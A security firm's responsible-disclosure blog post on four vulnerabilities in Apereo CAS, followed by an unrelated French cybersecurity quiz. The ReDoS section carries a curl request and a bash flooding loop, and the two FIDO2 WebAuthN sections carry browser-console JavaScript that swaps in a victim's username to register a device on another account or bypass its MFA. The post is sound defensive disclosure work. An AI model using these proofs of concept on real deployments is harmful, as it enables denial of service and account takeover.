Vous êtes victime d’un incident de sécurité ? Contactez notre CERT

13/06/2025

Cybersecurity Insights

Responsible disclosure of vulnerabilities found on Apereo CAS

Equipe SEAL

Recently, our Security Evaluation and Analysis Laboratory had the opportunity to perform an internal security audit of Apereo CAS, focusing on four authentication protocols available on the software: SAMLv2, OpenID Connect, CAS and Multi Factor Authentication via Google Authenticator and FIDO2 WebAuthN. This audit was aimed at evaluating the security level and robustness of these four protocols.

This security audit was funded by the French cybersecurity agency (ANSSI) as part of its efforts to support the security assessment of open source software (more info here).

During this pentest, we identified 4 vulnerabilities, presented hereafter, on the integration of the following protocols:

  • OpenID Connect,
  • Google Authenticator,
  • Fido2 WebAuthN.

Apereo published a post detailing these vulnerabilities on its website

Denial of Service via OpenID Connect Webfinger Endpoint

Quick explanation of OpenID Connect Webfinger

OpenID Connect Webfinger is a discovery mechanism used to determine the OpenID Connect provider (OP) for a given user identifier, typically an email-like address (e.g., [email protected]). When a relying party (RP) receives such an identifier, it uses the Webfinger protocol to query a well-known URL (/.well-known/webfinger) at the domain (example.com) to retrieve information about the user’s OpenID provider. This enables dynamic configuration and federated login without hardcoding identity providers, making it a key component in federated identity workflows.

CVE-2025-XXXX

The official CVE identifier is not yet available and will be updated once the number is assigned.

The vulnerability is a denial of service (DoS) attack based on a regular expression vulnerability in the OIDC webfinger endpoint. An attacker can send a specifically crafted request to the /cas/oidc/.well-known/webfinger endpoint. The request can be repeated multiple times per second to prevent the CAS server from functioning:

  1. Send a request to: /cas/oidc/.well-known/webfinger?ressources=https://a@<1 repeated 10000 times>?
  2. Repeat the request multiple times per second.

This vulnerability is caused by the server trying to match content using a legitimate but complex regular expression. The two following scripts were used as proofs of concept:

				
					amossys@debian:~/vuln_test$ cat req.sh
#!/bin/bash
curl https://cas.example.com/cas/oidc/.well-known/webfinger?resource=https://a@111[...1 repeated 10k times...]111?
				
			
				
					amossys@debian:~/vuln_test$ cat ReDOS.sh
#!/bin/bash

# Number of iterations you want to run
ITERATIONS=5000  # Adjust this number based on how long you want the test to run
for ((i=0; i<ITERATIONS; i++)); do
    # Run the req.sh script in the background
    ./req.sh &
    # Get the process ID of the last background process
    PID=$!
    # Sleep for 0.2 seconds
    sleep 0.2
    # Kill the process
    kill $PID
done
				
			

The vulnerability can also be simulated through regex101: https://regex101.com/r/UDSBP9/1.

This vulnerability will cause an excessive and uncontrolled CPU usage (CWE-400) on the server to process and match the content. In a configuration following the CAS requirement , each request of the PoC takes approximately 40 seconds to be completed. The CAS server will be unresponsive and users will be unable to authenticate if enough request are sent.

A fix was proposed by replacing the regular expression:

^((https|acct|http|mailto|tel|device):(//)?)?((([^@]+)@)?(([^\?#:/]+)(:(\d*))?))([^\?#]+)?(\?([^#]+))?(#(.*))?$

with

^((https|acct|http|mailto|tel|device):(//)?)?((([^@]+)@)?(([^\?#:/]+)(:(\d*))?))([^\?#]+)?(\?([^#]*))?(#(.*))?$

After applying this fix, no more DOS could be triggered manually or through a fuzzing campain.

Bypass of the Google Authenticator authentication

Quick explanation of the Google Authenticator protocol

In CAS product, Google Authenticator can be added for multifactor authentication, in addition of a password authentication. In this case, when a user logs in for the first time, the server generates, stores and shares with the user a secret key. The user must store this secret key and confirm the registration by inputting a PIN derived from this secret key. The server also calculates the PIN, and if its identical to the one sent by the user, then the registration is complete. All these communications are performed in an encrypted TLS channel.

During the authentication, the user generates a new PIN from its authenticator and inputs it. The server also generates the PIN on its side and compares them before logging-in the user.

PIN are Time-based Once Password (TOTP) calculated according to the RFC 6238 with the secret key and the number of 30-second periods since the Unix epoch used as arguments to HMAC-SHA-1.

PIN = Truncate(« HMAC-SHA-1 » (key,counter))  

PIN are recalculated every 30 seconds and can be used only once. The user must input its PIN before the end of the 30 seconds of validity.

CVE-2025-XXXX

The official CVE identifier is not yet available and will be updated once the number is assigned.

The vulnerability has been found during the authentication, when the registration is done.

After the user authenticates itself with its CAS username and password, it arrives at the page shown below. The user can then select the “Sélectionner un périphérique” button to arrive on another web page (allowing it to choose its Authenticator device). By clicking on the “Supprimer un périphérique” button, the server allows it to remove the registered device.

After that, the protocol believes that it is the first authentication of this user (because it does not know any key or device associated with this user), and displays a QR code to add a new device.

Using this vulnerability, an attacker knowing a user’s username and password could then bypass the multifactor authentication. It is important to select the device for the multifactorial authentication after the password authentication, but the feature to remove a device or to add a new device should only be available after a complete authentication.

Bypass of the FIDO2 WebAuthN authentication

Two vulnerabilities were discovered on FIDO2 WebAuthN authentication.

Quick explanation of the FIDO2 WebAuthN protocol

WebAuthN is a core component of the FIDO2 project. The specification of WebAuthN protocol is available at https://www.w3.org/TR/webauthn-2. It implies a web site, a web navigator and an authenticator. The authenticator is generally an external device like USB, Bluetooth, NFC or emulated token. For the analysis, the authenticator is emulated with https://github.com/bulwarkid/virtual-fido/.

For the registration, the server send session information like the accepted signature scheme. The authenticator selects a scheme and generates a key pair. The public key and authenticator data are shared with and stored by the server.

For the authentication, the server choose a random challenge and send it to the user. The user generates a signature based on the authenticator information, the server challenge and some other information with its private key stored in its authenticator. The server checks the received signature with the user public key and, if valid, complete the registration.

All these communications are done in TLS channel.

CVE-2025-XXXX

The official CVE identifier is not yet available and will be updated once the number is assigned.

The vulnerability has been found during the registration process.
CAS does not verify that the FIDO2 WebAuthN registration is associated with the same account as the one that has just been authenticated with the CAS password. That is why a malicious user with a legitimate account can register a public key in the server for another user if one of the following two prerequisites are matched:

  • the victim user does not have a FIDO public key registered on its account,
  • the administrator has allowed users to have several public keys registered for a user account.

The following scheme illustrates the two steps to exploit this vulnerability. The user1 is an attacker and the user2 is a victim. After its legitimate login, the attacker (user1) can register its own FIDO2 device on the account of user2.

Below is an example of JavaScript script to inject in the navigator console to change the user after the password authentication. Whenever you see victim_user, replace it with the actual username of the victim.

				
					function register(username, displayName, credentialNickname, csrfToken,
                  requireResidentKey = false,
                  getRequest = getRegisterRequest) {
    let request;
    username="victim_user";
    displayName="victim_user";
    return performCeremony({
        getWebAuthnUrls,
        getRequest: urls => getRequest(urls, username, displayName, credentialNickname, requireResidentKey, csrfToken),
        statusStrings: {
            init: 'Initiating registration ceremony with server...',
            authenticatorRequest: 'Asking authenticators to create credential...',
            success: 'Registration successful.',
        },
        executeRequest: req => {
            request = req;
            return executeRegisterRequest(req);
        }
    })
        .then(data => {
            console.log(`registration data: ${JSON.stringify(data.registration)}`);
            if (data.registration) {
                const nicknameInfo = {nickname: data.registration.credentialNickname};

                if (data.registration && data.registration.attestationMetadata) {
                    showDeviceInfo(extend(
                        data.registration.attestationMetadata.deviceProperties,
                        nicknameInfo
                    ));
                } else {
                    showDeviceInfo(nicknameInfo);
                }

                if (!data.attestationTrusted) {
                    addMessage("Attestation cannot be trusted.");
                } else {
                    setTimeout(() => {
                        $('#sessionToken').val(session.sessionToken);
                        console.log("Submitting registration form");
                        $('#form').submit();
                    }, 2500);
                }
            }
        })
        .catch((err) => {
            setStatus('Registration failed.');
            console.error('Registration failed', err);

            if (err.name === 'NotAllowedError') {
                if (request.publicKeyCredentialCreationOptions.excludeCredentials
                    && request.publicKeyCredentialCreationOptions.excludeCredentials.length > 0
                ) {
                    addMessage('Credential creation failed, probably because an already registered credential is available.');
                } else {
                    addMessage('Credential creation failed for an unknown reason.');
                }
            } else if (err.name === 'InvalidStateError') {
                addMessage(`This authenticator is already registered for the account "${username}".`)
            } else if (err.message) {
                addMessage(`${err.message}`);
            } else if (err.messages) {
                addMessages(err.messages);
            }
            return rejected(err);
        });
}
				
			

CVE-2025-XXXX

The official CVE identifier is not yet available and will be updated once the number is assigned.

The vulnerability has been found during the authentication, when the registration is done.

As for the registration, CAS does not verify that the FIDO2 WebAuthN authentication is associated with the same account as the one that has just been authenticated with the CAS password. That is why a malicious user with a legitimate account and knowing the password of a victim user can connect to the victim account (bypassing its MFA).

The following scheme illustrates the steps to exploit this vulnerability. The user1 is an attacker and the user2 is a victim.

Below is a JavaScript script that can be injected by the navigator console to change the username after the password authentication. Whenever you see victim_user, replace it with the actual username of the victim.

				
					function authenticate(username = null, getRequest = getAuthenticateRequest) {
    $('#deviceTable tbody tr').remove();
    $('#divDeviceInfo').hide();
    hideDeviceInfo();
    username="victim_user";
    return performCeremony({
        getWebAuthnUrls,
        getRequest: urls => getRequest(urls, username),
        statusStrings: {
            init: 'Initiating authentication ceremony...',
            authenticatorRequest: 'Asking authenticators to perform assertion...',
            success: 'Authentication successful.',
        },
        executeRequest: executeAuthenticateRequest,
    }).then(data => {
        $('#divDeviceInfo').show();
        console.log(`Received: ${JSON.stringify(data, undefined, 2)}`);
        if (data.registrations) {

            data.registrations.forEach(reg => {

                addDeviceAttributeAsRow("Username", reg.username);
                addDeviceAttributeAsRow("Credential Nickname", reg.credentialNickname);
                addDeviceAttributeAsRow("Registration Date", reg.registrationTime);
                addDeviceAttributeAsRow("Session Token", data.sessionToken);
                if (reg.attestationMetadata) {
                    const deviceProperties = reg.attestationMetadata.deviceProperties;
                    if (deviceProperties) {
                        addDeviceAttributeAsRow("Device Id", deviceProperties.deviceId);
                        addDeviceAttributeAsRow("Device Name", deviceProperties.displayName);

                        showDeviceInfo({
                            "displayName": deviceProperties.displayName,
                            "imageUrl": deviceProperties.imageUrl
                        })
                    }
                }
            });

            $('#authnButton').hide();

            setTimeout(() => {
                $('#token').val(data.sessionToken);
                console.log("Submitting authentication form");
                $('#webauthnLoginForm').submit();
            }, 1500);
        }
        return data;
    }).catch((err) => {
        setStatus(authFailTitle);
        if (err.name === 'InvalidStateError') {
            addMessage(`This authenticator is not registered for the account "${username}".`)
        } else if (err.message) {
            addMessage(`${err.name}: ${err.message}`);
        } else if (err.messages) {
            addMessages(err.messages);
        }
        console.error('Authentication failed', err);
        addMessage(authFailDesc);
        return rejected(err);
    });
}
				
			

Voir les Cybersecurity insights

9 janvier 2026
Our Security Evaluation Laboratory performed a security audit of HAProxy. This audit was aimed at evaluating the security level of […]
22 décembre 2025
Recently, our team performed a security audit of SmallStep Certificates PKI. This audit was focused on the cryptographic aspects of […]
18 décembre 2025
Almond est classé Leader dans l'étude Blueprint® 2025-2026 dédiée aux SOC managés pour le mid-market, et visionnaire sur les grandes […]
4 novembre 2025
Comme chaque année, SWIFT met à jour son standard CSCF et apporte son lot de nouveautés. Il peut s'avérer complexe […]
22 octobre 2025
Find here the crypto and reverse challenges that our teams created for the European Cyber Week pre-qualification and qualification tests […]
20 octobre 2025
La référence mondiale ISG distingue Almond dans les six domaines clés de la cybersécurité, confirmant la solidité de son expertise […]
10 septembre 2025
Téléchargez l'étude complète "Voices of CISOs" en complétant le formulaire ci-dessous.
24 juillet 2025
Longtemps perçue comme une affaire d’État ou de grandes entreprises, la cybersécurité s’impose désormais comme un levier structurant de gouvernance […]
22 juillet 2025
M&NTIS Platform est une solution SaaS destinée au test d'efficacité de produits de défense et d'architectures de supervision. Une nouvelle […]
16 juillet 2025
De la météo à la géolocalisation, des télécommunications à la défense, nos infrastructures spatiales sont devenues un incontournable de notre […]

Nous vous souhaitons de joyeuses fêtes de fin d’année hautes en couleur et à l’année prochaine pour une année 2025 exaltante ! 🎉

🎁 Merci à tous pour votre participation au quiz de l’avent, nous contacterons le gagnant très prochainement.

🎅 Chez Almond, l’esprit festif des fêtes de fin d’année est arrivé en avance !

Nos collaborateurs ont profité d’une soirée chaleureuse et joyeuse dans l’un des restaurants les plus spectaculaires de Paris, Le Cirque avec un cocktail dinatoire, des surprises et un Secret Santa.

Et un peu plus de magie de Noël ? Almond a également ouvert ses portes aux familles de nos collaborateurs pour une après-midi conviviale autour de l’arbre de Noël. Les enfants ont été captivés par des contes enchantés, de 1001 contes Constance Felix et ont savouré un goûter délicieux avec des chocolats chauds préparés par les Empotés. Le Père Noël a distribué des coloriages géants et des cadeaux pour le plus grand bonheur des enfants 🎁

Jour 23 |

Jour 22 | Laquelle de ces menaces n’est pas un cryptoransomware ?

  • Réponse 1 : Lockbit3
  • Réponse 2 : Phobos
  • Réponse 3 : NotPetya
  • Réponse 4 : WannaCry

Laïus explicatif : Bien que NotPetya ressemble à un ransomware, il s’agit en réalité d’un wiper. Ce malware rend indisponible les fichiers de la victime, mais ne fournit aucun moyen de les déchiffrer, même après le paiement de la rançon. L’objectif principal de NotPetya n’est pas l’extorsion financière, mais la destruction de données.
En cas d’incident, voici les coordonnées de notre CERT : [email protected] +33 (0)1 83 75 36 94

Jour 21 | Vous dialoguez via votre terminal avec un service distant et vous vous rendez compte qu'il contient un stack-based overflow. Vous cherchez à l'exploiter à l'aveugle et trouvez finalement l'offset de l'adresse de retour, après avoir contourné les éventuelles protections. Vous cherchez maintenant un stop gadget pour continuer votre exploitation. Quelle est son utilité :

  • Réponse 1 : interrompre à la demande le flux d’exécution du binaire distant le temps de l’exploitation
  • Réponse 2 : obtenir une exécution fiable et maîtrisée avec un comportement reproductible
  • Réponse 3 : pouvoir mettre en pause le binaire temporairement pendant l’envoi de la payload
  • Réponse 4 : pouvoir stopper proprement le binaire afin d’éviter un éventuel crash à la fin de l’exploitation

Laïus explicatif : L’exploitation se déroulant en aveugle, il est nécessaire de trouver une adresse permettant d’obtenir un comportement particulier et reproductible à chaque exécution, comme l’affichage du texte « Bye ». Si une telle adresse est trouvée, elle correspond au stop gadget. Il permettra donc de continuer l’exploitation et de valider ou invalider nos déductions lors de l’exécution du binaire.

Jour 20 | Le terme "spam" pour désigner les messages indésirables provient initialement

  • Réponse 1 : D’une marque de jambon en boîte
  • Réponse 2 : D’un acronyme signifiant « Stupid Pointless Annoying Messages »
  • Réponse 3 : D’un sketch des Monty Python
  • Réponse 4 : D’un code utilisé pendant la Seconde Guerre mondiale

Laïus explicatif : Ce mot, à l’origine un acronyme de : SPiced hAM (du jambon épicé en boîte vendue par une entreprise américaine), est repris en masse, pour brouiller la conversation, dans un sketch des Monty Python.

Jour 19 | L’acronyme PACS désigne  :

A. Un format permettant la visualisation des images dans l’imagerie médicale

B. Un système d’archivage et de communication d’images dans l’imagerie médicale

C. Un prestataire d’audit et de conseil en cybersécurité

D. Un pacte civil de solidarité

  • Réponse 1 : L’ensemble des réponses
  • Réponse 2 : Réponses C et D
  • Réponse 3 : Réponses B, C et D
  • Réponse 4 : Réponses A, C et D

Laïus explicatif :

Un PACS, dans le secteur de l’imagerie médicale, désigne effectivement un système (et non un format) signifiant « Picturing Archiving and Communication System » permettant de gérer les images médicales grâce à des fonctions d’archivage.

De plus, depuis septembre, l’ANSSI a publié un référentiel d’exigences qui permet aux commanditaires de prestations de sécurité de bénéficier de garanties sur les compétences des prestataires, sur le processus d’accompagnement et de conseil, ainsi que sur la sécurité des systèmes d’information associés. Ce référentiel vise à reconnaître officiellement les prestataires en tant que « Prestataires d’accompagnement et de conseil en sécurité ».
Enfin, en France, le PACS désigne aussi une forme d’union civile dénommée Pacs.

Jour 18 | En quelle année l'ANSSI prévoit de ne plus recommander l'utilisation de certains algorithmes de chiffrement classiques en raison de l'augmentation de la puissance de calcul des ordinateurs classiques et de la menace posée par les ordinateurs quantiques ?

  • Réponse 1 : 2026
  • Réponse 2 : 2030
  • Réponse 3 : 2035
  • Réponse 4 : 2050

Laïus explicatif : Dans son dernier avis sur la migration vers la cryptographie post quantique, paru en janvier 2024, l’ANSSI encourage tous les éditeurs à mettre en œuvre dès à présent une hybridation entre la cryptographie standard et la cryptographie post-quantique (pour les produits qui doivent protéger des informations après 2030) et recommande d’utiliser en priorité la cryptographie post-quantique à partir de 2030.  

Jour 17 | Quelle est la dernière course à laquelle j’ai participé ?

  • Réponse 1 : Le Vendée Globe
  • Réponse 2 : National Figaro 3 en équipage
  • Réponse 3 : La Solitaire du Figaro Paprec
  • Réponse 4 : Le Havre Allmercup

Laïus explicatif : Le National Figaro 2024 s’est déroulé du 4 au 6 octobre dernier à Lorient. Thomas et son équipe sont arrivés en 2e position ! Cette course clôture ainsi la saison 2024 sur le circuit Figaro. 

  • Réponse 1 : Aetheris

  • Réponse 2 : Venopie

  • Réponse 3 : Lumidus

  • Réponse 4 : Pandama

Laïus explicatif : Au sein de la plateforme d’attaque – défense M&NTIS, le scénario Pandama propose une kill chain dont l’impact, après compromission du contrôleur de domaine, permet de déployer, par GPO, une charge utile effaçant les données présentes sur les systèmes de fichiers du SI simulé.

Pour rappel, basé sur les technologies d’émulation d’adversaire et de Cyber Range, M&NTIS permet d’exécuter des campagnes d’attaques réalistes afin de challenger dans un environnement immersif les procédures et l’expertise des équipes SOC et CERT. M&NTIS répond ainsi aux enjeux d’amélioration continue de la défense.

Jour 15 | Quel type de menace ne fait pas parti de l’insider threat?

  • Réponse 1 : Malicious
  • Réponse 2 : Ransomware group
  • Réponse 3 : Negligent
  • Réponse 4 : Vendors

Laïus explicatif : Almond a proposé une étude sur la menace interne qui décrit chaque type d’insider. Les groupes de ransomware sont externes à l’entreprise mais peuvent recruter des employées pour récupérer des accès valides et compromettre l’entreprise. Retrouvez l’étude ici.

Jour 14 | Selon vous, quelle proportion des cyberattaques réussies sont liées à une erreur humaine ?

  • Réponse 1 : 40%

  • Réponse 2 : 100%

  • Réponse 3 : 70%

  • Réponse 4 : 90%

Laïus explicatif : 90% des cyberattaques trouvent leur origine dans une erreur humaine. L’erreur humaine en cybersécurité englobe toutes les actions, conscientes ou non, qui exposent les systèmes et les données à des menaces. Cela inclut des gestes apparemment innocents, comme le fait de :

  • Cliquer sur les liens malveillants
  • Utiliser des mots de passe faibles ou partagés
  • Partager des informations sensibles
  • Négliger la mise à jour des logiciels et systèmes
  • Commettre une erreur de configuration ou mal administrer les accès
  • Utiliser des clés USB non sécurisées ou prévenant de sources inconnues

Jour 13 | Almond & Amossys sont présents en France et à l’international pour garantir proximité et réactivité grâce à nos services 24/7. Dans quels pays se trouvent nos équipes ?

  • Réponse 1 : FRA – CHE – AUS – JPN

  • Réponse 2 : FRA – CAN – CHE – KOR

  • Réponse 3 : FRA – AUS – CAN – GBR

  • Réponse 4 : FRA – BEL – ITA – USA

Jour 12 | Challenge OSINT

Val Thorens

Laïus explicatif : Depuis plusieurs années consécutives, notre CSE organise des séjours à Val Thorens pour profiter des sports d’hiver. Que l’on aime dévaler les pistes de ski à toute allure, tenter l’aventure en prenant des cours d’initiation ou simplement déguster une raclette après une randonnée raquette et un passage à la piscine et au sauna, ce séjour est l’occasion de partager des moments convivaux avec ses collègues ! TIC, TAC, le prochain séjour ski approche à grands pas !

Jour 11 | Parmi ces propositions, quelle technique Mitre Atta&ck est la plus utilisée par les attaquants ?

  • Réponse 1 : OS Credential Dumping
  • Réponse 2 : Valid Account
  • Réponse 3 : Impair Defenses
  • Réponse 4 : Remote services

Laïus explicatif : L’achat ou la récupération de comptes valides sont de plus en plus commun. Certains cybercriminels appelés Initial Access Broker se spécialisent dans la compromission de victimes dans le but de récupérer des identifiants valides qui seront ensuite vendus à d’autres cybercriminels comme les groupes de ransomware.

Jour 10 | Parmi ces structures de données de la mémoire dans Windows, quelle est celle qui permet de lister les processus en cours d’exécution ?

  • Réponse 1 : EPROCESS
  • Réponse 2 : Kernel Debugger Data Block (KDBG)
  • Réponse 3 : Kernel Processor Control Region (KPCR)
  • Réponse 4 : Process Environment Block (PEB)

Laïus explicatif : La structure EPROCESS (Executive Process) est utilisée par Windows pour gérer chaque processus en cours d’exécution. Elle contient des informations essentielles comme l’identifiant du processus (PID), l’état, les threads associés, et d’autres données nécessaires au système pour suivre les processus actifs. En analysant les structures EPROCESS, on peut lister les processus actuellement en mémoire. Le PEB est lié à chaque processus de manière individuelle. Enfin le KPCR est nécessaire pour trouver l’adresse du KDB qui à son tour permettra de pointer vers le EPROCESS.  

Jour 9 | Quel est le problème si la suite cryptographique TLS_RSA_WITH_AES_256_CBC_SHA256 est utilisée avec l'extension encrypt_then_mac pour la sécurité d'une communication TLS ?

  • Réponse 1 : L’algorithme de chiffrement est trop faible

  • Réponse 2 : L’intégrité de la communication n’est pas assurée

  • Réponse 3 : Il n’y a pas la propriété de confidentialité persistante (Perfect Forward Secrecy)

  • Réponse 4 : Le serveur n’est pas correctement authentifié

Laïus explicatif : La bonne réponse est le manque de confidentialité persistante.

La suite TLS_RSA_WITH_AES_256_CBC_SHA256 utilise la clé publique RSA du serveur pour chiffrer le secret partagé utilisé pour sécuriser les échanges de la session TLS : en cas de compromission de la clé privée du serveur, l’ensemble des échanges des sessions passées peuvent être déchiffrés par un attaquant.
La confidentialité persistante (connue sous le nom de Perfect Forward Secrecy en anglais) consiste en l’utilisation d’un échange Diffie-Hellman éphémère pour négocier le secret partagé, sans utilisation de la clé RSA du serveur.

Jour 8 | Quel est l'avantage d'utiliser un outil de couverture de code lors d'une session de fuzzing ?

  • Réponse 1 : Réduire le temps de fuzzing en optimisant certaines instructions assembleur.

  • Réponse 2 : Utiliser la technique de « pré-chauffage » du harnais (« warming code attack »).

  • Réponse 3 : Pouvoir analyser facilement les sections de code atteintes par le fuzzer.

  • Réponse 4 : Ne pas prendre en compte les vulnérabilités de type use-after-free.

Laïus explicatif : Les outils de couverture de code (“code coverage” en anglais) permettent de savoir avec précision quelles lignes de code d’un programme qui ont réellement été exécutées. Lors d’une session de “fuzzing”, ces outils peuvent aider l’analyste à savoir si les fonctions ciblées ont été atteintes par le fuzzer. Cette technique a notamment été utilisée par un membre de l’équipe Offsec pour trouver une vulnérabilité dans une bibliothèque open-source (voir notre article de blog)

Jour 7 | Quelle est la principale éthique qui doit être prise en compte dans le développement de l’Intelligence Artificielle ?

  • Réponse 1 : L’équité et la non-discrimination

  • Réponse 2 : La transparence des algorithmes utilisés

  • Réponse 3 : La sécurité et la confidentialité des données

  • Réponse 4 : Toutes les réponses

Laïus explicatif : L’équité et la non-discrimination sont des principes fondamentaux dans le développement de l’IA. Les systèmes d’IA doivent être conçus pour éviter les biais et assurer qu’ils ne favorisent pas des groupes spécifiques au détriment d’autres, afin de garantir un traitement juste et égal pour tous les utilisateurs. La transparence des algorithmes est cruciale. Les utilisateurs doivent comprendre comment les décisions sont prises par l’IA, ce qui inclut la possibilité d’expliquer les résultats ou actions générés par un système d’intelligence artificielle, afin d’éviter des décisions opaques ou injustes. La sécurité et la confidentialité des données sont enfin des préoccupations majeures lorsque l’on développe des systèmes d’IA, car ces technologies peuvent collecter et traiter des informations sensibles, ce qui soulève des questions sur la protection des données personnelles et la vie privée.

Jour 6 | Selon vous, en moyenne combien de ransomware ont eu lieu par jour en 2023 dans le monde ?

  • Réponse 1 : 1 par jour

  • Réponse 2 : 100 par jour

  • Réponse 3 : 30 par jour

  • Réponse 4 : 12 par jour

Laïus explicatif : En moyenne 12 attaques ransomware ont été signalées par jour par des victimes dans le monde en 2023 selon les chiffres d’Almond. Pour plus d’informations, n’hésitez pas à consulter notre Threat Landscape.

Jour 5 | Challenge de stéganographie

Réponse : PASSI RGS, PASSI LPM, CESTI, ANJ, Cybersecurity made in Europe, PCI QSA Company et Swift

Etape 1 : Observer l’image, trouver 3 logos cachés (Cybersecurity made in Europe, PCI QSA Company & Swift) et une indication pour chercher dans les métadonnées du fichier. 

Etape 2 : Challenge de stéganographie

En lançant dans son terminal un des outils les plus courants, « binwalk », on trouve une image JPEG dans le PDF. En extrayant les données grâce au même outil et en renommant le fichier en .jpeg, on voit apparaitre une image cachée. Ensuite, en utilisant « steghide », on peut extraire le fichier avec le mot de passe « Almond ». Ce fichier contient une suite de caractère encodée en base64. En la déchiffrant, on obtient les quatre autres certifications : PASSI RGS, PASSI LPM, CESTI et ANJ. 

Jour 4 | Concernant les accompagnements de la nouvelle qualification PACS de l’ANSSI, sur la portée Sécurité des Architectures, quels sont les domaines qui font partie du périmètre possible d’un accompagnement ?

  • Réponse 1 : la sécurité réseau, l’authentification, et l’administration du SI

  • Réponse 2 : la sécurité réseau, la sécurité système, et les mécanismes de chiffrement

  • Réponse 3 : l’administration du SI, le cloisonnement, les sauvegardes, et la stratégie de détection/réponse

  • Réponse 4 : tous ces sujets et plus encore

  • Laïus explicatif : Le référentiel PACS, sur la portée Sécurité des Architectures, porte bien sur tous les sujets liés de près ou de loin aux infrastructures du SI. La liste n’est pas exhaustive et est à adapter à chaque prestation d’accompagnement suivant le périmètre d’intervention. Dans le référentiel, l’ANSSI propose une liste de sujets à adresser dans un rapport PACS page 28 et 29.

    https://cyber.gouv.fr/sites/default/files/document/PACS_referentiel-exigences_v1.0.pdf

Jour 3 | Quel référentiel permet la certification de produits de sécurité ?

  • Réponse 1 : NIS2

  • Réponse 2 : Critères Communs

  • Réponse 3 : PASSI

  • Réponse 4 : ISO27001

Laïus explicatif : Le schéma Critères Communs est un ensemble de normes et méthodologies permettant de cadrer les moyens utilisés pour évaluer, de manière impartiale, la sécurité d’un produit de sécurité (logiciel ou matériel). Ce schéma est reconnu internationalement au travers de plusieurs accords (SOG-IS, CCRA et prochainement EUCC).

Le référentiel PASSI permet la qualification, par l’ANSSI, des prestataires d’audit de la sécurité des SI. ISO27001 est la norme décrivant les bonnes pratiques à suivre dans la mise en place d’un SMSI. Enfin, NIS2 est une directive visant à harmoniser et à renforcer la cybersécurité du marché européen.

Jour 2 | Quel est l’artefact forensique qui permet de prouver une exécution d’un programme sous Windows ?

  • Réponse 1 : JumpList

  • Réponse 2 : ShimCache

  • Réponse 3 : $MFT

  • Réponse 4 : Prefetch

Laïus explicatif : Le Prefetch est un artefact spécifique à Windows qui optimise le chargement des programmes. Lorsqu’un programme est exécuté pour la première fois, Windows crée un fichier dans le dossier C:\Windows\Prefetch, qui contient des informations sur le programme et les ressources qu’il a utilisées. Ces fichiers incluent également des horodatages correspondant à la première et aux dernières exécutions. L’existence d’un fichier Prefetch (.pf) pour un programme est une preuve solide qu’il a été exécuté. C’est l’un des artefacts forensiques les plus fiables pour prouver l’exécution d’un programme.

Jour 1 | Quel texte européen permettra qu’à partir de fin 2027, tous les produits vendus dans l’UE et comprenant des composants numériques seront exempts de vulnérabilités et maintenus pendant tout leur cycle de vie ? #DigitalTrust

  • Réponse 1 : Le Cyber Security Act
  • Réponse 2 : Le Cyber Resilience Act
  • Réponse 3 : La Directive REC
  • Réponse 4 : La Directive NIS2 

Laïus explicatif : Le Cyber Resilience Act, qui a été publié ces derniers jours au Journal Officiel de l’Union Européenne est entré en vigueur le 10 décembre 2024. A compter de cette date, les fabricants et éditeurs doivent adapter leur processus pour pouvoir continuer à vendre des produits au sein de l’UE après le 10/12/2027.

EU Cyber Resilience Act | Shaping Europe’s digital future